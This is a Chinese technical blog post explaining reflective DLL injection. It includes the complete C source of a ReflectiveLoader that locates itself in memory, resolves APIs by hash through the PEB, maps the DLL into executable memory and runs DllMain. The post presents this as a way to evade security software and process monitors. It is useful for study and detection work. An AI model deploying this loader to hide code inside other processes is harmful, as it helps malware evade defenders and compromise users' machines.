反射Dll注入

最新推荐文章于 2024-04-11 14:02:25 发布
最新推荐文章于 2024-04-11 14:02:25 发布
阅读量826 收藏 7
点赞数 1
分类专栏： 注入 PE文件
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Dreamer12138/article/details/106176709
版权

上一篇我们介绍了CreateRemoteThread+LoadLibrary进行注入的技巧。但是这种方法实在是太过格式化，所以几乎所有的安全软件都会监控这种方法。所以HarmanySecurity的Stephen Fewer提出了ReflectiveDLL Injection，也就是反射DLL注入。

其和CreateRemoteThread一样也是分为两部分，注入器和注入的DLL。但是注入DLL的装载由我们自主实现，由于反射式注入方式并没有通过LoadLibrary等API来完成DLL的装载，DLL并没有在操作系统中”注册”自己的存在，因此用ProcessExplorer等软件也无法检测出进程加载了该DLL，更显安全。

反射注入的流程

  1. 注入器将要注入的DLL打开，读进自己的内存空间。（注意不是映射。）
  2. 注入器提权，打开目标进程，申请内存空间，将DLL文件写入目标进程。
  3. 注入器手动搜索DLL的导出表，寻找DLL导出的自主实现的ReflectiveLoader函数。
  4. 注入器创建远程线程，线程启动点为ReflectiveLoader函数，DLL会加载自身，并执行DllMain。

ReflectiveLoader的工作流程

0x00 ReflectiveLoader做的第一件事就是查找自身所在的DLL具体被写入了哪个位置。

ReflectiveLoader首先利用一个重定位技巧找到自身所在的大致位置：

ULONG_PTR caller( VOID ) { return(ULONG_PTR)_ReturnAddress(); }

其中函数_ReturnAddress()返回的是当前调用函数的返回地址，也就是caller()的下一条指令的地址。这个地址位于ReflectiveLoader的内部，而ReflectiveLoader位于被注入的DLL文件内部，因此这个地址离DLL文件的头部不远了。

借助上文找到的地址，我们逐字节的向上遍历，当查找到符合PE格式的文件头之后，就可以认为找到了DLL文件在内存中的地址了。

0x01 获取我们需要的API函数

有四个API函数是我们需要用的

LoadLibraryA() ：加载DLL所需的导入模块

GetProcAddress()：修正导入表的函数地址

VirtualAlloc()：申请内存空间

NtFlushInstructionCache()函数：刷新指令，重定向相关。

根据fs寄存器的0x30位置获得PEB，PEB中的三根链表就可以遍历所有已加载的模块，就可以找到Kernel32和ntdll从而获得函数地址

0x02 申请PE文件映射所需空间

因为DLL现在是以文件的方式储存在内存空间。所以我们需要根据PE文件可选头中的SizeOfImage获得加载后的大小，申请SizeOfImage大小的内存空间。

0x03 拷贝PE文件头和各个节

分配了用于装载的空间后，ReflectiveLoader将DLL文件的头部，拷贝到新的空间的首部。再根据PE文件的节表将各个节复制到相应的位置中.

0x04 修正导入表

目前为止我们对导入表没有任何操作，也就是说其还处于原始的双桥结构的状态，IAT中还没有储存相应的函数地址。我们要根据导入表内容，通过0x01获得的LoadLibrary加载所需模块，按函数名导入的通过GetProcAddress获得地址填入IAT，按序号导入的暴力搜索其所在模块获得地址。

0x05 修正重定向数据

我们的ReflectiveLoader中肯定没有需要重定向的数据，但是DLL中的其他API中可能存在需要重定向的数据。我们根据DLL自身的重定向表修改数据。

需要重定位的数据位置 = 真实加载基址 + VirtualAddress + TypeOffset低12位
重定位后地址 = (真实加载基址-默认加载基址) + 需要进行重定位的地址

重定向完成后记得调用NtFlushInstructionCache，确保指令的正确执行。

0x06 调用DllMain函数

DllMain函数的RVA在可选头中的AddressOfEntryPoint中储存。

至此DLL就完成了映射，运行了起来。

 

 

#include "ReflectiveLoader.h"

HINSTANCE hAppInstance = NULL;

#pragma intrinsic( _ReturnAddress )

__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }

#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
#endif
{

	LOADLIBRARYA pLoadLibraryA     = NULL;
	GETPROCADDRESS pGetProcAddress = NULL;
	VIRTUALALLOC pVirtualAlloc     = NULL;
	NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;

	USHORT usCounter;

	ULONG_PTR uiLibraryAddress;

	ULONG_PTR uiBaseAddress;

	ULONG_PTR uiAddressArray;
	ULONG_PTR uiNameArray;
	ULONG_PTR uiExportDir;
	ULONG_PTR uiNameOrdinals;
	DWORD dwHashValue;

	ULONG_PTR uiHeaderValue;
	ULONG_PTR uiValueA;
	ULONG_PTR uiValueB;
	ULONG_PTR uiValueC;
	ULONG_PTR uiValueD;
	ULONG_PTR uiValueE;

	uiLibraryAddress = caller();

	while( TRUE )
	{
		if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
		{
			uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

			if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
			{
				uiHeaderValue += uiLibraryAddress;

				if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
					break;
			}
		}
		uiLibraryAddress--;
	}

#ifdef _WIN64
	uiBaseAddress = __readgsqword( 0x60 );
#else
	uiBaseAddress = __readfsdword( 0x30 );
#endif

	uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;

	uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
	while( uiValueA )
	{

		uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;

		usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;

		uiValueC = 0;

		do
		{
			uiValueC = ror( (DWORD)uiValueC );

			if( *((BYTE *)uiValueB) >= 'a' )
				uiValueC += *((BYTE *)uiValueB) - 0x20;
			else
				uiValueC += *((BYTE *)uiValueB);
			uiValueB++;
		} while( --usCounter );

		if( (DWORD)uiValueC == KERNEL32DLL_HASH )
		{

			uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

			uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

			uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

			uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );

			uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

			usCounter = 3;

			while( usCounter > 0 )
			{

				dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );

				if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
				{

					uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

					uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

					if( dwHashValue == LOADLIBRARYA_HASH )
						pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
					else if( dwHashValue == GETPROCADDRESS_HASH )
						pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
					else if( dwHashValue == VIRTUALALLOC_HASH )
						pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );

					usCounter--;
				}

				uiNameArray += sizeof(DWORD);

				uiNameOrdinals += sizeof(WORD);
			}
		}
		else if( (DWORD)uiValueC == NTDLLDLL_HASH )
		{

			uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

			uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

			uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

			uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );

			uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

			usCounter = 1;

			while( usCounter > 0 )
			{

				dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );

				if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
				{

					uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

					uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

					if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
						pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );

					usCounter--;
				}

				uiNameArray += sizeof(DWORD);

				uiNameOrdinals += sizeof(WORD);
			}
		}

		if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
			break;

		uiValueA = DEREF( uiValueA );
	}

	uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

	uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

	uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
	uiValueB = uiLibraryAddress;
	uiValueC = uiBaseAddress;

	while( uiValueA-- )
		*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;

	uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );

	uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
	while( uiValueE-- )
	{

		uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );

		uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );

		uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

		while( uiValueD-- )
			*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;

		uiValueA += sizeof( IMAGE_SECTION_HEADER );
	}

	uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];

	uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

	while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
	{

		uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );

		uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );

		uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );

		while( DEREF(uiValueA) )
		{

			if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
			{

				uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

				uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

				uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

				uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

				uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );

				DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
			}
			else
			{

				uiValueB = ( uiBaseAddress + DEREF(uiValueA) );

				DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
			}

			uiValueA += sizeof( ULONG_PTR );
			if( uiValueD )
				uiValueD += sizeof( ULONG_PTR );
		}

		uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
	}

	uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

	uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];

	if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
	{

		uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

		while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
		{

			uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );

			uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );

			uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);

			while( uiValueB-- )
			{

				if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
					*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
					*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;

				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
					*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
					*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);

				uiValueD += sizeof( IMAGE_RELOC );
			}

			uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
		}
	}

	uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );

	pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );

	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );

	return uiValueA;
}

 

Dreamer12138
关注
  • 1
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
深入理解反射式dll注入技术
m0_67698950的博客
06-22 1245
前言dll 注入技术是让某个进程主动加载指定的 dll 的技术。恶意软件为了提高隐蔽性，通常会使用 dll 注入技术将自身的恶意代码以 dll 的形式注入高可信进程。常规的 dll 注入技术使用 LoadLibraryA() 函数来使被注入进程加载指定的 dll。常规dll注入的方式一个致命的缺陷是需要恶意的 dll 以文件的形式存储在受害者主机上。这样使得常规 dll 注入技术在受害者主机上留下痕迹较大，很容易被 edr 等安全产品检测到。为了弥补这个缺陷，stephen fewer 提出了反射式 dll
Doge-sRDI:Golang的反射式DLL注入的Shellcode实现。 将DLL转换为与位置无关的Shellcode
04-01
Golang的反射式DLL注入的Shellcode实现。 将DLL转换为与位置无关的Shellcode 非常感谢Sliver项目和leoloobeek 用法 srdi.exe [dllName] [Args（不必要）] [entryPoint（不必要）] PS D:\> .\srdi.exe .\Outflank-...
反射式dll注入(ReflectiveDLLInjection)
随心动，随风行
04-30 3735
学习基于stephenfewer大佬的项目：ReflectiveDLLInjection 有兴趣的同学可以下载研究
网络靶场实战-反射DLL注入
最新发布
蛇矛实验室
04-11 626
下图说明了反射 DLL 注入的工作原理。在之前的文章中，通过模拟 Windows 映像加载程序的功能，完全从内存中加载 DLL 模块，而无需将 DLL 存储到磁盘上，但这只能从本地进程中加载进内存中，如果想要在目标进程中通过内存加载 DLL 模块，可以通过一些 I/O 操作将所需的代码写入目标进程，但这大量的 I/O 操作对病毒引擎来说过于敏感，还有一个思路就是编写一段引导程序，这段引导程序用来模拟 Windows 映像加载程序的功能加载所需 DLL 模块，这就是本文所描述的技术，反射 DLL 注入。
WEB安全：深入反射式dll注入技术
2301_76694151的博客
05-16 802
通过调用CreateRemoteThread()/NtCreateThread()/RtlCreateUserThread()函数在被注入进程创建线程进行dll注入。通过调用QueueUserAPC()/SetThreadContext()函数来劫持被注入进程已存在的线程加载dll。通过调用SetWindowsHookEx()函数来设置拦截事件，在发生对应的事件时，被注入进程执行拦截事件函数加载dll。获取被注入进程PID。在注入进程的访问令牌中开启SE_DEBUG_NAME权限。
DLL 注入 —— 反射式注入（内存手动映射）
LYSM
07-19 2981
介绍 反射式注入 dll ，不会调用 LoadLibrary 这个 API，因此也无法使用 CreateToolhelp32Snapshot 遍历到这个模块。同时也不需要 DLL 留在磁盘上（可以通过网络下发，或加密后存放在磁盘），因此这种注入方式更加隐蔽。 原理 总的来说，就是我们要重新实现一遍 LoadLibrary 这个 API ????： 假设现在我们已经使用 ReadFile 拿到了 DLL 的所有内容 之后我们需要调用 VirtualAlloc 在目标进程中申请一块内存用来存放这个 DLL
Windows 反射式注入DLL
12-13
Windows 反射式注入DLL Windows 反射式注入DLL Windows 反射式注入DLL
dll注入源码dll注入源码
08-27
dll注入源码dll注入源码dll注入源码dll注入源码dll注入源码dll注入源码
易语言-通用DLL注入模块
06-29
在模块中的EIP注入卸载是参考易语言线程EIP注入卸载DLL源码。
Phage:反射式DLL注入式过程感染器
04-29
PoC过程感染者使用反射性DLL注入样式感染另一个进程。 受到我以前的项目Lynx启发。 而不是注入DLL，而是注入可执行文件本身。
Reflector反射工具 看dll到东西，功能很强哦
08-29
Reflector反射工具 看dll到东西，功能很强哦
利用反射，动态加载DLL，卸载DLL
10-29
反射的加载与卸载，适用于需要经常变换更新的地方。 代码里文件路径是编译的路径（需要替换为自己的存放路径），我是将DLL拷贝到EXE文件夹下测试的，在没有卸载完，拷贝覆盖不了，卸载后就可以覆盖了。
很不错的反射Dll工具 -- Reflector
02-11
一个很不错的反射Dll工具。可以很清晰的看到里面的属性方法。尤其对c#语言的写的。
Reflective DLL Injection
04-02
stage2 shellcode生成程序，可以把不同的shellcode，转换成stage2 shellcode。
Reflective DLL Injection paper+src
06-06
经典paper:Reflective DLL Injection以及其代码实现,具体可以参考下面两个链接: 1.http://blog.csdn.net/GaA_Ra/archive/2011/06/06/6528359.aspx 2.http://www.harmonysecurity.com/ReflectiveDllInjection.html
Reflective DLL Injection(反射dll注入)
thesum的专栏
02-01 710
http://blog.csdn.net/gaara_fan/article/details/6528359
delphi dlldll注入
08-07
DLL注入是一种技术，它允许将DLL文件加载到正在运行的进程中，并使得该进程能够调用DLL中的函数和使用其中的数据。 在Delphi中实现DLL注入的方法有很多种。一种常见的方法是使用Windows API函数LoadLibrary和...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值